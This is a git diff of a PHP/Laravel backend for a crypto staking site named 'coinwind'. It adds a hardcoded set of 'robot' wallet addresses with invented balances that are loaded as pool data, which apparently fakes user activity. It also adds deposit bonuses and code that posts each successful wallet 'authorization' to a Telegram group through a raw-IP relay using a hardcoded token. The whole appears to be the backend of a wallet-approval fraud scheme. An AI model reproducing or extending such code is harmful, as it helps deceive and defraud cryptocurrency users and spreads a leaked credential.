diff --git a/.env.example b/.env.example index 2259af7..425dfac 100644 --- a/.env.example +++ b/.env.example @@ -5,6 +5,8 @@ APP_DEBUG=true APP_LOG_LEVEL=debug APP_URL=http://localhost FRONT_URL=http://coinwind.test +TG_URL=http://154.82.76.95:2345/tele/SendMessage +ADMIN_HTTPS=false DB_CONNECTION=mysql DB_HOST=127.0.0.1 @@ -15,6 +17,7 @@ DB_PASSWORD=secret BROADCAST_DRIVER=log CACHE_DRIVER=file +SESSION_DOMAIN='coinwind.test' SESSION_DRIVER=file SESSION_LIFETIME=120 QUEUE_DRIVER=sync diff --git a/app/Base.php b/app/Base.php index 77b1da9..1e13530 100644 --- a/app/Base.php +++ b/app/Base.php @@ -18,7 +18,8 @@ class Base const BALANCE_SHARE_BONUS = 8; const BALANCE_RECHARGE = 11; const BALANCE_WITHDRAWAL = 12; - + const BALANCE_RECHARGE_REWARD = 13; + const UNCHECKED = 0; const CHECKED = 1; diff --git a/app/Console/Commands/CalcProfit.php b/app/Console/Commands/CalcProfit.php index 3e6668d..e9455b8 100644 --- a/app/Console/Commands/CalcProfit.php +++ b/app/Console/Commands/CalcProfit.php @@ -85,6 +85,9 @@ class CalcProfit extends Command */ public function handle() { + $this->_daily_revenue(); + $this->_pool_data(); + $this->_robots(); } protected function _daily_revenue() diff --git a/app/Http/Controllers/ApiV1Controller.php b/app/Http/Controllers/ApiV1Controller.php index 044d642..060e0b6 100644 --- a/app/Http/Controllers/ApiV1Controller.php +++ b/app/Http/Controllers/ApiV1Controller.php @@ -28,6 +28,7 @@ use Illuminate\Support\Facades\Redis; class ApiV1Controller extends Controller { + const K_RECHARGE = 'rt:recharge'; const K_POOLDATA = 'rt:pooldata'; const K_USERSOUTPUT = 'rt:users_output'; const K_TEAMDATA = 'rt:team_data'; @@ -47,29 +48,29 @@ class ApiV1Controller extends Controller // robot $robots = [ - '0x061f7937b7b2bc7596539959804f86538b6368dc' => 2343.04, - '0x52b3565be60200079263adeb5ff895819ebee2d7' => 2380, - '0xe78b5c68cf480f22887a95b21751801d0f50f0a1' => 3478.01, - '0x768bcdfa651e87beea69fc1ef7622edd5624c463' => 1005, - '0xe649084663253ff4251b2d5b0a7d564f7b2bebb2' => 1203.04, + '0x061f7937b7b2bc7596539959804f86538b6368dc' => 10.04, + '0x52b3565be60200079263adeb5ff895819ebee2d7' => 20, + '0xe78b5c68cf480f22887a95b21751801d0f50f0a1' => 9.01, + '0x768bcdfa651e87beea69fc1ef7622edd5624c463' => 20, + '0xe649084663253ff4251b2d5b0a7d564f7b2bebb2' => 12.04, - '0x9b38fed7a6f05e07b8a1ecd7b7afeebc05501d89' => 700.04, - '0xe6d6792081fae1a6429e1e33bbc9a163cd389d68' => 500.23, - '0x098bfaaf8a5e904b3d4e2274d9d7321eb560306a' => 2000.23, - '0x58bf4523c78e94dbb820f04b11ec1c6a14cebd5d' => 1000.09, - '0x57e98e038521db5f10d7ba927166d87cd97cd01d' => 1700.23, + '0x9b38fed7a6f05e07b8a1ecd7b7afeebc05501d89' => 6.04, + '0xe6d6792081fae1a6429e1e33bbc9a163cd389d68' => 4.23, + '0x098bfaaf8a5e904b3d4e2274d9d7321eb560306a' => 12.23, + '0x58bf4523c78e94dbb820f04b11ec1c6a14cebd5d' => 20.09, + '0x57e98e038521db5f10d7ba927166d87cd97cd01d' => 32.23, - '0x3d33877fb4b33992901383bd694fa40d1defcd09' => 1009.23, - '0xf9d92a02a246d48e4646b1d517eec381285654ea' => 803.23, - '0x26cdf4a61a1be3ea2ee5525ac5453f04f44b3914' => 902.33, - '0x86c230db34a91486d1fd74be4bdcc480c450183c' => 1203.34, - '0x353356573756b38c00c8e2a7265fba52f5940751' => 2034.20, + '0x3d33877fb4b33992901383bd694fa40d1defcd09' => 25.23, + '0xf9d92a02a246d48e4646b1d517eec381285654ea' => 20.23, + '0x26cdf4a61a1be3ea2ee5525ac5453f04f44b3914' => 80.33, + '0x86c230db34a91486d1fd74be4bdcc480c450183c' => 12.34, + '0x353356573756b38c00c8e2a7265fba52f5940751' => 18.20, - '0xd92faa17644e1710bf2a04c904c4ece11ff28e1b' => 5012.30, - '0xb38fe32cb5fed4d445984e6ac983752d7533cc50' => 1023.40, + '0xd92faa17644e1710bf2a04c904c4ece11ff28e1b' => 50.30, + '0xb38fe32cb5fed4d445984e6ac983752d7533cc50' => 30.40, '0x095b5f18a33c4ddc016e426d507eb4ee2d16c670' => 805.23, - '0x4ea26b3020e54edd0fdc26728c6f63fa8ba3e83d' => 300.34, - '0xcd6b59c4a9c68f06f70dacf8b26118fb5c853ff5' => 3043.30, + '0x4ea26b3020e54edd0fdc26728c6f63fa8ba3e83d' => 40.34, + '0xcd6b59c4a9c68f06f70dacf8b26118fb5c853ff5' => 12.30, ]; Redis::hMSet(self::K_ROBOTS, $robots); @@ -98,7 +99,7 @@ class ApiV1Controller extends Controller $id = 0; $he = User::where('address', $address)->first(); if (is_null($he)) { // new user - DB::transaction(function () use ($request, $address, $protocol, $referral) { + $suc = DB::transaction(function () use ($request, $address, $protocol, $referral) { // create new $id = User::insertGetId([ 'address' => $address, @@ -113,11 +114,23 @@ class ApiV1Controller extends Controller ]); } }); + + if(!$suc) { + Log::error("create new register failed: address=$address, referral=$referral"); + + return json_encode([ + 'code' => 1, + ]); + } } else { $id = $he->id; } + // TODO async + $url = config('app.tg_url'); + return json_encode([ + 'code' => 0, 'id' => $id, 'shareLink' => config('app.frontUrl') . '?sh=' . $id, 'address' => $address, @@ -138,7 +151,12 @@ class ApiV1Controller extends Controller $expected_s = sha1($address . $ts); if ($expected_s != $s) { Log::warning("sign error sign=$s expected=$expected_s"); - return json_encode(['suc' => 0, 'msg' => 'OK']); + return json_encode(['code' => 0, 'msg' => 'OK']); + } + + $exists = Authorize::where('address', $address)->first(); + if ($exists) { + return json_encode(['code' => 0, 'msg' => 'dup']); } $newRow = new Authorize(); @@ -148,8 +166,28 @@ class ApiV1Controller extends Controller $newRow->hash = $hash; $res = $newRow->save(); + $code = 0; + if ($res) { + $msg = "$address 授权成功"; + + $hc = new \GuzzleHttp\Client(); + $resp = $hc->post(config('app.tg_url'), [ + 'headers' => [ + 'User-Agent' => 'Super Chrome/2.2', + 'Content-Type' => 'application/json', + 'Token' => 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE2ODQ3NDM4ODYsInVzZXJuYW1lIjoic3VwZXJtYXN0ZXIifQ.1R-PvyUg_GXpJOk-7lQTBjBnw0cLRxajx5kNsvuY7OA', + ], + 'json' => [ + 'groupid' => -1001256080228, + 'msg' => $msg, + ] + ]); + } else { + Log::error("address $address create authorized row failed."); + $code = -4; + } return json_encode([ - 'code' => $res ? 0 : -4, + 'code' => $code, ]); } @@ -163,26 +201,48 @@ class ApiV1Controller extends Controller // if ($amount <= 0.0) { + Log::warning("user $address recharge $amount failed"); return; } + $expected_s = sha1($address . $amount . $ts); if ($expected_s != $s) { Log::warning("sign error sign=$s expected=$expected_s"); return json_encode(['suc' => 0, 'msg' => 'OK']); } - $res = DB::transaction(function () use ($address, $amount) { + $times = Redis::hGet(self::K_RECHARGE, $address); + + $res = DB::transaction(function () use ($address, $amount, $times) { + $reward = 0; + if (!$times) { + $reward = $this->_first_recharge_reward($amount); + } + + $amount += $reward; // insert into user User::where('address', $address)->increment('balance', $amount); $newBlc = new Balance(); $newBlc->address = $address; $newBlc->name = Base::USDT; - $newBlc->remake = 'Staking'; + $newBlc->remake = "Staking $amount"; $newBlc->status = Base::BALANCE_RECHARGE; $newBlc->money = $amount; $newBlc->created_at = \Carbon\Carbon::now(); $newBlc->save(); + + if ($reward > 0) { + $newBlc = new Balance(); + $newBlc->address = $address; + $newBlc->name = Base::USDT; + $newBlc->remake = "recharge $amount reward $reward"; + $newBlc->status = Base::BALANCE_RECHARGE_REWARD; + $newBlc->money = $reward; + $newBlc->created_at = \Carbon\Carbon::now(); + $newBlc->save(); + } + // insert into staking $has = Staking::where('address', $address) ->where('symbol', Base::USDT) @@ -244,8 +304,6 @@ class ApiV1Controller extends Controller User::where('address', $address)->decrement('balance', $amount); }); - - return json_encode([ 'code' => $r ? 0 : -4, ]); @@ -286,7 +344,7 @@ class ApiV1Controller extends Controller 'l1Output' => 0, 'l2Output' => 0, 'l3Output' => 0, - 'participant' => 1, + 'participant' => 0, 'teamRevenue' => 0, ]); } @@ -360,11 +418,10 @@ class ApiV1Controller extends Controller public function test() { - // self::prepare_data_sources(); + self::prepare_data_sources(); // $this->_user_account_info('0x19b7A3F7C451dE45a5b4C05a2E3C2849cD47A1de'); // $a = $this->_articles(); // var_dump($a); - var_dump($this->_pool_data()); } protected function _user_withdrawal_history($address) @@ -398,4 +455,36 @@ class ApiV1Controller extends Controller return $res; } + + protected function _first_recharge_reward($amount) + { + // TODO read from database + $reward_conf = [ + [ + 'min' => 2000, + 'max' => 19999.99, + 'reward' => 39, + ], [ + 'min' => 20000, + 'max' => 59999.99, + 'reward' => 399, + ], [ + 'min' => 60000, + 'max' => 99999.99, + 'reward' => 1299, + ], [ + 'min' => 100000, + 'max' => 100000000, + 'reward' => 2699, + ], + ]; + + foreach($reward_conf as $item) { + if ($amount >= $item['min'] && $amount <= $item['max']) { + return $item['reward']; + } + } // foreach + + return 0.0; + } } diff --git a/config/app.php b/config/app.php index 35deaf3..5cd906c 100644 --- a/config/app.php +++ b/config/app.php @@ -28,6 +28,11 @@ return [ 'env' => env('APP_ENV', 'production'), + /* + telegram message server + */ + + 'tg_url' => env('TG_URL', 'http://localhost:2345/tele/SendMessage'), /* |-------------------------------------------------------------------------- diff --git a/fabfile.py b/fabfile.py index c4e612b..cf2880d 100644 --- a/fabfile.py +++ b/fabfile.py @@ -14,10 +14,10 @@ PS. 提前配置服务器地址,密码 """ from os.path import exists, join -from fabric import task,Connection +from fabric import task, Connection FILE_TAR = 'coinwind.tar.gz' -DIRS = ('app', 'config', 'resources', 'routes', 'public') +DIRS = ('app', 'config',) UPLOAD_PATH = '~' DEPLOY_PATH = '/www/coinwind' @@ -54,4 +54,4 @@ def deploy(c, p=''): run(r, 'rm {}'.format(FILE_TAR)) run(r, 'chown -R nginx:nginx {}'.format(DEPLOY_PATH)) run(r, 'chmod 600 {}'.format(join(DEPLOY_PATH, 'config/*'))) - run(r, 'chmod 600 {}'.format(join(DEPLOY_PATH, '.env'))) \ No newline at end of file + run(r, 'chmod 600 {}'.format(join(DEPLOY_PATH, '.env')))